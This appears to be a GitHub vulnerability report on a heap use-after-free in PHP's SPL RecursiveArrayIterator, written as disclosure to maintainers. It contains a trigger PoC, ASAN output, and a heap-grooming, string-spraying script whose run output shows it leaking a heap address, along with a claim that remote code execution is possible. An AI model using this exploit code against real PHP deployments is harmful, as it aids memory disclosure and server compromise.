-
Notifications
You must be signed in to change notification settings - Fork 8k
Open
Description
Description
Summary
A heap use-after-free vulnerability exists in PHP's SPL extension (ext/spl/spl_array.c). When RecursiveArrayIterator::getChildren() creates a child iterator, it stores a raw pointer to the parent's internal HashTable bucket without holding a reference. If the parent object is freed and the child's __construct() method is subsequently called with an array having refcount > 1, it accesses the dangling pointer, resulting in a use-after-free condition that could lead to remote code execution.
Details
The vulnerability was introduced in commit 49b2ff5dbb9 (March 2, 2023) which added the is_child and bucket fields to fix GH-10519.
affected versions
PHP 8.6.0-dev (also affects PHP 8.1.18+, 8.2.5+, 8.3+, 8.4+)
PoC
<?php
// Step 1: Create parent iterator with nested array
$parent = new RecursiveArrayIterator([0 => [1, 2, 3, 4, 5]]);
// Step 2: Get child iterator - stores bucket pointer to parent's HashTable
$child = $parent->getChildren();
// Step 3: Free parent - HashTable is freed, bucket becomes dangling
unset($parent);
// Step 4: Create array with refcount > 1 to trigger vulnerable code path
$arr = [10, 20, 30];
$ref = &$arr;
// Step 5: Trigger UAF - accesses freed bucket->val
$child->__construct($arr);Execution:
USE_ZEND_ALLOC=0 ./sapi/cli/php poc.phpASAN Output:
=================================================================
==393723==ERROR: AddressSanitizer: heap-use-after-free on address 0x50d000004e51 at pc 0x602cec0b61d7 bp 0x7fff1aec3e70 sp 0x7fff1aec3e60
READ of size 1 at 0x50d000004e51 thread T0
#0 0x602cec0b61d6 in spl_array_set_array /home/or4nge/php-src/ext/spl/spl_array.c:977
#1 0x602cec0b687a in zim_ArrayIterator___construct /home/or4nge/php-src/ext/spl/spl_array.c:1716
#2 0x602cec7224f6 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:1988
#3 0x602cec7224f6 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:110293
#4 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
#5 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
#6 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
#7 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
#8 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
#9 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x7b3a02e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
#11 0x602ceb8d7a04 in _start (/home/or4nge/php-src/sapi/cli/php+0x4d7a04)
0x50d000004e51 is located 17 bytes inside of 136-byte region [0x50d000004e40,0x50d000004ec8)
freed by thread T0 here:
#0 0x7b3a034b4537 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
#1 0x602cec753e98 in zend_array_destroy /home/or4nge/php-src/Zend/zend_hash.c:1876
#2 0x602cec7e7f7e in zend_objects_store_del /home/or4nge/php-src/Zend/zend_objects_API.c:196
#3 0x602cec5cd9f7 in ZEND_UNSET_CV_SPEC_CV_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:49497
#4 0x602cec6fa515 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:115045
#5 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
#6 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
#7 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
#8 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
#9 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
#10 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
previously allocated by thread T0 here:
#0 0x7b3a034b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x602cec4b8d54 in __zend_malloc /home/or4nge/php-src/Zend/zend_alloc.c:3542
#2 0x602cec75c171 in zend_array_dup /home/or4nge/php-src/Zend/zend_hash.c:2498
#3 0x602cec0b600b in spl_array_set_array /home/or4nge/php-src/ext/spl/spl_array.c:974
#4 0x602cec0b687a in zim_ArrayIterator___construct /home/or4nge/php-src/ext/spl/spl_array.c:1716
#5 0x602cec7224f6 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/or4nge/php-src/Zend/zend_vm_execute.h:1988
#6 0x602cec7224f6 in execute_ex /home/or4nge/php-src/Zend/zend_vm_execute.h:110293
#7 0x602cec6ec873 in zend_execute /home/or4nge/php-src/Zend/zend_vm_execute.h:115447
#8 0x602cec840195 in zend_execute_script /home/or4nge/php-src/Zend/zend.c:1980
#9 0x602cec365c26 in php_execute_script_ex /home/or4nge/php-src/main/main.c:2648
#10 0x602cec844dcc in do_cli /home/or4nge/php-src/sapi/cli/php_cli.c:949
#11 0x602ceb8d6792 in main /home/or4nge/php-src/sapi/cli/php_cli.c:1360
#12 0x7b3a02e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-use-after-free /home/or4nge/php-src/ext/spl/spl_array.c:977 in spl_array_set_array
Shadow bytes around the buggy address:
0x0a1a7fff8970: 00 00 fa fa fa fa fa fa fa fa 00 00 00 00 00 00
0x0a1a7fff8980: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
0x0a1a7fff8990: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0a1a7fff89a0: 00 00 00 00 00 fa fa fa fa fa fa fa fa fa 00 00
0x0a1a7fff89b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x0a1a7fff89c0: fa fa fa fa fa fa fa fa fd fd[fd]fd fd fd fd fd
0x0a1a7fff89d0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x0a1a7fff89e0: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0a1a7fff89f0: 00 00 00 fa fa fa fa fa fa fa fa fa 00 00 00 00
0x0a1a7fff8a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa
0x0a1a7fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==393723==ABORTING
Address Leak
poc.php
<?php
ini_set('memory_limit', '-1');
function get_payload($len) {
return str_repeat("\x00", $len);
}
// Flush memory to force reallocation.
// This is primarily to bypass ASAN quarantine (256MB by default).
// For standard builds, this is harmless but ensures a clean heap state.
function flush_quarantine() {
$junk = [];
// 300 chunks of 1MB
for ($i = 0; $i < 300; $i++) {
$s = str_repeat("J", 1024 * 1024);
$s = null; // Free immediately
}
}
echo "[*] Starting UAF Leak PoC...\n";
echo "[*] PHP Version: " . PHP_VERSION . "\n";
$ATTEMPTS = 5;
// Target sizes:
// 100: Found via fuzzing (Common in system allocator / ASAN builds)
// 231: Standard 256-byte bin for Zend Allocator
// We also include neighbors to handle alignment variations.
$TARGET_LENS = [100, 231, 231-16, 231+16, 103, 111];
$success = false;
for ($attempt = 0; $attempt < $ATTEMPTS; $attempt++) {
echo "[-] Attempt " . ($attempt + 1) . "...\n";
// 1. Heap Grooming
$parents = [];
$children = [];
// Create pairs.
// [0 => "pad", 1 => [1]].
// We target index 1.
for ($i = 0; $i < 20; $i++) {
$parents[$i] = new RecursiveArrayIterator([0 => "pad", 1 => [1]]);
$parents[$i]->next();
$children[$i] = $parents[$i]->getChildren();
}
// 2. Free Parents
// This puts chunks into the freelist (or quarantine if ASAN is active).
foreach ($parents as $i => $p) {
unset($parents[$i]);
}
$parents = null;
// 3. Flush Memory / Quarantine
// Necessary for ASAN to evict chunks from quarantine.
// Also helps stabilize heap on standard builds.
flush_quarantine();
// 4. Spray Strings
$protector = [];
foreach ($TARGET_LENS as $len) {
// Spray enough to catch the slot
for ($j = 0; $j < 10; $j++) {
$protector[] = get_payload($len);
}
}
// 5. Trigger UAF
$arr = [1, 2, 3];
foreach ($children as $c) {
try {
$c->__construct($arr);
} catch (Throwable $e) {}
}
// 6. Check for Leak
foreach ($protector as $k => $v) {
// If string is modified, we won!
if ($v !== get_payload(strlen($v))) {
echo "[+] SUCCESS! UAF Triggered.\n";
echo "[+] String index: $k, Length: " . strlen($v) . "\n";
// Find the modification
for ($pos = 0; $pos < strlen($v) - 8; $pos += 8) {
$chunk = substr($v, $pos, 8);
if ($chunk !== "\x00\x00\x00\x00\x00\x00\x00\x00") {
// This is likely the address
$addr = unpack("Q", $chunk)[1];
printf("[*] Leaked Address at offset %d: 0x%x\n", $pos, $addr);
// Check next 8 bytes for type info if available
if ($pos + 16 <= strlen($v)) {
$type_info = unpack("I", substr($v, $pos + 8, 4))[1];
printf("[*] Type Info: 0x%x\n", $type_info);
}
$success = true;
break 2; // Break string loop
}
}
break; // Should break via above, but just in case
}
}
if ($success) break;
// Cleanup
$protector = null;
$children = null;
gc_collect_cycles();
}
if (!$success) {
echo "[-] Failed to leak address.\n";
exit(1);
}
?>output
or4nge@localhost:~/mcp/uaf_poc$ ~/php-src/sapi/cli/php ./poc.php
[*] Starting UAF Leak PoC...
[*] PHP Version: 8.6.0-dev
[-] Attempt 1...
[+] SUCCESS! UAF Triggered.
[+] String index: 2, Length: 100
[*] Leaked Address at offset 0: 0x766f38048c40
[*] Type Info: 0x307
Impact
- Information Disclosure: May read sensitive data from freed/reallocated memory
- Remote Code Execution: Through heap spraying, an attacker can control the contents of the freed memory region and potentially achieve arbitrary code execution
PHP Version
PHP 8.6.0-dev (cli) (built: Feb 6 2026 12:56:56) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.6.0-dev, Copyright (c) Zend Technologies
with Zend OPcache v8.6.0-dev, Copyright (c), by Zend Technologies
Operating System
Ubuntu 22.04
Reactions are currently unavailable